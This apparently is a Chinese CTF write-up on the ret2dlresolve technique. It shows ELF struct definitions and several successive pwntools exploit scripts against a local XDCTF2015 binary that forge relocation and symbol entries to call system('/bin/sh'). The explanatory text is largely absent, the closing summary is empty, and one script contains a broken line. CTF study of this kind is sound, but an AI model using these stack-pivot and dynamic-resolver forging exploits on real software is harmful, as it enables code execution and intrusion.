[C] 纯文本查看 复制代码
typedef struct { Elf32_Sword d_tag; union { Elf32_Word d_val; Elf32_Addr d_ptr; } d_un; } Elf32_Dyn;
d_tag类型 | d_un含义 |
DT_SYMTAB | 动态链接符号表地址,d_ptr表示“.dynsym”的地址 |
DT_STRTAB | 动态链接字符串表地址,d_ptr表示“.dynstr”的地址 |
[C] 纯文本查看 复制代码
typedef struct { Elf32_Addr r_offset; Elf32_Word r_info; } Elf32_Rel;
成员 | 含义 |
r_offset | 重定位入口的偏移。对于可重定位文件来说,这个值是该重定位入口所要修正的位置的第一个字节相对于段起始的偏移;对于可执行文件或共享对象文件来说,这个值是该重定位入口所要修正的位置的第一个字节的虚拟地址 |
r_info | 这个成员的低8位表示重定位入口的类型,高24位表示重定位入口的符号在符号表中的下标 |
[C] 纯文本查看 复制代码
typedef struct { Elf32_Word st_name; //符号名,是相对.dynstr起始的偏移 Elf32_Addr st_value; Elf32_Word st_size; unsigned char st_info; //对于导入函数符号而言,它是0x12 unsigned char st_other; Elf32_Section st_shndx; }Elf32_Sym; //对于导入函数符号而言,除st_name外其他字段都是0
[Python] 纯文本查看 复制代码
from pwn import * io = process('main_partial_relro_32') elf = ELF('main_partial_relro_32') read_addr = elf.plt['read'] write_addr = elf.plt['write'] context.log_level = "DEBUG" context.terminal = ['tmux','splitw','-h'] bss_addr = elf.bss() bss_addr += 0x800 leave_ret = 0x8048465 io.recvuntil('Welcome to XDCTF2015~!\n') pl = b'a'*0x6c pl += p32(bss_addr) + p32(read_addr) + p32(leave_ret) pl += p32(0) + p32(bss_addr) + p32(100) io.sendline(pl) #gdb.attach(io) pl = p32(bss_addr + 0x100) pl += p32(write_addr) + p32(0xdeadbeef) + p32(1) + p32(bss_addr + 32) + p32(7) #pl += p32(write_addr) + p32(0xdeadbeef) + p32(1) + p32(elf.got['write']) + p32(4) pl += b'a'*8 + b'/bin/sh' io.sendline(pl) io.interactive()
[Python] 纯文本查看 复制代码
from pwn import * io = process('main_partial_relro_32') elf = ELF('main_partial_relro_32') read_addr = elf.plt['read'] write_addr = elf.plt['write'] context.log_level = "DEBUG" context.terminal = ['tmux','splitw','-h'] bss_addr = elf.bss() bss_addr += 0x800 leave_ret = 0x8048465 io.recvuntil('Welcome to XDCTF2015~!\n') pl = b'a'*0x6c pl += p32(bss_addr) + p32(read_addr) + p32(leave_ret) pl += p32(0) + p32(bss_addr) + p32(0x100) io.sendline(pl) pl2 = p32(bss_addr +0x800 ) #== get the plt[0] address plt0 = elf.get_section_by_name('.plt').header.sh_addr pl2 += p32(plt0) #=== calculate the write index in .rel.plt==# write_index = int((write_addr - plt0)/16 - 1)*8 print(write_index) pl2 += p32(write_index)+ p32(0xdeadbeef) + p32(1) + p32(bss_addr + 32) + p32(7) pl2 += b'a'*4 + b'/bin/sh' + b'\x00' pl2 += b'a'*(0x0ff-len(pl2)) io.sendline(pl2) io.interactive()
[Python] 纯文本查看 复制代码
from pwn import * io = process('main_partial_relro_32') elf = ELF('main_partial_relro_32') read_addr = elf.plt['read'] write_addr = elf.plt['write'] context.log_level = "DEBUG" context.terminal = ['tmux','splitw','-h'] bss_addr = elf.bss() bss_addr += 0x800 leave_ret = 0x8048465 io.recvuntil('Welcome to XDCTF2015~!\n') pl = b'a'*0x6c pl += p32(bss_addr) + p32(read_addr) + p32(leave_ret) pl += p32(0) + p32(bss_addr) + p32(0x100) io.sendline(pl) #== get the plt[0] address plt0 = elf.get_section_by_name('.plt').header.sh_addr rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr #=== calculate the write index in .rel.plt==# #=== forge the fake offset of .rel.plt ==# #=== calcultate the index ==# write_got = elf.got['write'] # write_address struct in .rel.plt write_index = bss_addr +40 - rel_plt pl2 = p32(bss_addr +0x800 ) pl2 += p32(plt0) pl2 += p32(write_index)+ p32(0xdeadbeef) + p32(1) + p32(bss_addr + 32) + p32(7) pl2 += b'a'*4 + b'/bin/sh' + b'\x00' pl2 += p32(write_got) + p32(0x607) # fake offset and info pl2 += b'a'*(0x100-len(pl2 gdb.attach(io) io.sendline(pl2) io.interactive()
https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve/#no-relro
[Python] 纯文本查看 复制代码
from pwn import * io = process('main_partial_relro_32') elf = ELF('main_partial_relro_32') read_addr = elf.plt['read'] write_addr = elf.plt['write'] context.log_level = "DEBUG" context.terminal = ['tmux','splitw','-h'] def slog(name,address) : io.success(name + '==>'+ hex(address)) bss_addr = elf.bss() slog('bss',bss_addr) bss_addr += 0x800 + int((0x80487c2-0x80487aa)/2*0x10) #bss_addr += 0x800 leave_ret = 0x8048465 io.recvuntil('Welcome to XDCTF2015~!\n') pl = b'a'*0x6c pl += p32(bss_addr) + p32(read_addr) + p32(leave_ret) pl += p32(0) + p32(bss_addr) + p32(0x100) io.sendline(pl) #== get the plt[0] .rel.plt and dynsym address plt0 = elf.get_section_by_name('.plt').header.sh_addr slog('plt0',plt0) rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr slog('.rel.plt',rel_plt) dynsym = elf.get_section_by_name('.dynsym').header.sh_addr slog('.dynsym',dynsym) #== get the gnu_version for bypass the ld-linux wrong ==# gnu_version_addr = elf.get_section_by_name('.gnu.version').header.sh_addr #=== calculate the write index in .rel.plt==# #=== forge the fake offset of .rel.plt ==# #=== calcultate the index ==# write_got = elf.got['write'] # write_address struct in .rel.plt write_index = bss_addr + 40 - rel_plt #===== compose the fake dynsym ======# fake_dynsym = p32(0x4c) + p32(0) + p32(0) + p32(0x12) #===== reverse the fake info(use the math!!!)===# #====get the dynsym index =====# #==== get the fake dynsym address ==# fake_sym_addr = bss_addr + 48 align = 0x10-((fake_sym_addr - dynsym)&0xf) fake_sym_addr += align slog('fake_sym_addr',fake_sym_addr) index_dynsym = int((fake_sym_addr - dynsym)/0x10) r_info = (index_dynsym << 8)|0x7 print('ndx_addr: %s'% hex(gnu_version_addr + index_dynsym*2)) slog('dynsym_index',index_dynsym) slog('r_info',r_info) slog('re_r_info',r_info>>8) pl2 = p32(bss_addr +0x800 ) pl2 += p32(plt0) pl2 += p32(write_index)+ p32(0xdeadbeef) + p32(1) + p32(bss_addr + 32) + p32(7) pl2 += b'a'*4 + b'/bin/sh' + b'\x00' pl2 += p32(write_got) + p32(r_info) # fake offset and info pl2 += b'a'*align + fake_dynsym # align pl2 += b'a'*(0x100-len(pl2)) gdb.attach(io) io.sendline(pl2) sleep(1) io.interactive()
[Python] 纯文本查看 复制代码
from pwn import * io = process('main_partial_relro_32') elf = ELF('main_partial_relro_32') read_addr = elf.plt['read'] write_addr = elf.plt['write'] context.log_level = "DEBUG" context.terminal = ['tmux','splitw','-h'] def slog(name,address) : io.success(name + '==>'+ hex(address)) bss_addr = elf.bss() slog('bss',bss_addr) bss_addr += 0x800 + int((0x80487c2-0x80487aa)/2*0x10) #bss_addr += 0x800 leave_ret = 0x8048465 io.recvuntil('Welcome to XDCTF2015~!\n') pl = b'a'*0x6c pl += p32(bss_addr) + p32(read_addr) + p32(leave_ret) pl += p32(0) + p32(bss_addr) + p32(0x100) io.sendline(pl) #== get the plt[0] .rel.plt and dynsym address plt0 = elf.get_section_by_name('.plt').header.sh_addr slog('plt0',plt0) rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr slog('.rel.plt',rel_plt) dynsym = elf.get_section_by_name('.dynsym').header.sh_addr slog('.dynsym',dynsym) #== get the gnu_version for bypass the ld-linux wrong ==# gnu_version_addr = elf.get_section_by_name('.gnu.version').header.sh_addr #== get the .dynstr address ==# dynstr = elf.get_section_by_name('.dynstr').header.sh_addr #=== calculate the write index in .rel.plt==# #=== forge the fake offset of .rel.plt ==# #=== calcultate the index ==# write_got = elf.got['write'] # write_address struct in .rel.plt write_index = bss_addr + 40 - rel_plt #===== reverse the fake info(use the math!!!)===# #====get the dynsym index =====# #==== get the fake dynsym address ==# fake_sym_addr = bss_addr + 48 align = 0x10-((fake_sym_addr - dynsym)&0xf) fake_sym_addr += align slog('fake_sym_addr',fake_sym_addr) #=== st_name + .synstr = fake_sym_addr + 0x10 = address of str'write'==# st_name = fake_sym_addr + 0x10 - dynstr slog('st_name',st_name) #===== compose the fake dynsym ======# fake_dynsym = p32(st_name) + p32(0) + p32(0) + p32(0x12) index_dynsym = int((fake_sym_addr - dynsym)/0x10) r_info = (index_dynsym << 8)|0x7 print('ndx_addr: %s'% hex(gnu_version_addr + index_dynsym*2)) slog('dynsym_index',index_dynsym) slog('r_info',r_info) slog('re_r_info',r_info>>8) pl2 = p32(bss_addr +0x800 ) pl2 += p32(plt0) pl2 += p32(write_index)+ p32(0xdeadbeef) + p32(1) + p32(bss_addr + 32) + p32(7) pl2 += b'a'*4 + b'/bin/sh' + b'\x00' pl2 += p32(write_got) + p32(r_info) # fake offset and info bss + 40 pl2 += b'a'*align + fake_dynsym # align:4 bss + 48 #=== put the str'write' to the bss_stack pl2 += b'write\x00' # bss + 68 pl2 += b'a'*(0x100-len(pl2)) gdb.attach(io) io.sendline(pl2) io.interactive()
[Python] 纯文本查看 复制代码
from pwn import * io = process('main_partial_relro_32') elf = ELF('main_partial_relro_32') read_addr = elf.plt['read'] write_addr = elf.plt['write'] context.log_level = "DEBUG" context.terminal = ['tmux','splitw','-h'] def slog(name,address) : io.success(name + '==>'+ hex(address)) bss_addr = elf.bss() slog('bss',bss_addr) bss_addr += 0x800 + int((0x80487c2-0x80487aa)/2*0x10) #bss_addr += 0x800 leave_ret = 0x8048465 io.recvuntil('Welcome to XDCTF2015~!\n') pl = b'a'*0x6c pl += p32(bss_addr) + p32(read_addr) + p32(leave_ret) pl += p32(0) + p32(bss_addr) + p32(0x100) io.sendline(pl) #== get the plt[0] .rel.plt and dynsym address plt0 = elf.get_section_by_name('.plt').header.sh_addr slog('plt0',plt0) rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr slog('.rel.plt',rel_plt) dynsym = elf.get_section_by_name('.dynsym').header.sh_addr slog('.dynsym',dynsym) #== get the gnu_version for bypass the ld-linux wrong ==# gnu_version_addr = elf.get_section_by_name('.gnu.version').header.sh_addr #== get the .dynstr address ==# dynstr = elf.get_section_by_name('.dynstr').header.sh_addr #=== calculate the write index in .rel.plt==# #=== forge the fake offset of .rel.plt ==# #=== calcultate the index ==# write_got = elf.got['write'] # write_address struct in .rel.plt write_index = bss_addr + 40 - rel_plt #===== reverse the fake info(use the math!!!)===# #====get the dynsym index =====# #==== get the fake dynsym address ==# fake_sym_addr = bss_addr + 48 align = 0x10-((fake_sym_addr - dynsym)&0xf) fake_sym_addr += align slog('fake_sym_addr',fake_sym_addr) #=== st_name + .synstr = fake_sym_addr + 0x10 = address of str'write'==# st_name = fake_sym_addr + 0x10 - dynstr slog('st_name',st_name) #===== compose the fake dynsym ======# fake_dynsym = p32(st_name) + p32(0) + p32(0) + p32(0x12) index_dynsym = int((fake_sym_addr - dynsym)/0x10) r_info = (index_dynsym << 8)|0x7 print('ndx_addr: %s'% hex(gnu_version_addr + index_dynsym*2)) slog('dynsym_index',index_dynsym) slog('r_info',r_info) slog('re_r_info',r_info>>8) pl2 = p32(bss_addr +0x100 ) pl2 += p32(plt0) pl2 += p32(write_index)+ p32(0xdeadbeef) + p32(bss_addr + 32) + p32(bss_addr + 32) + p32(7) pl2 += b'a'*4 + b'/bin/sh' + b'\x00' pl2 += p32(write_got) + p32(r_info) # fake offset and info bss + 40 pl2 += b'a'*align + fake_dynsym # align:4 bss + 48 #=== put the str'write' to the bss_stack pl2 += b'system\x00' # bss + 68 pl2 += b'a'*(0x100-len(pl2)) io.sendline(pl2) io.interactive()
总结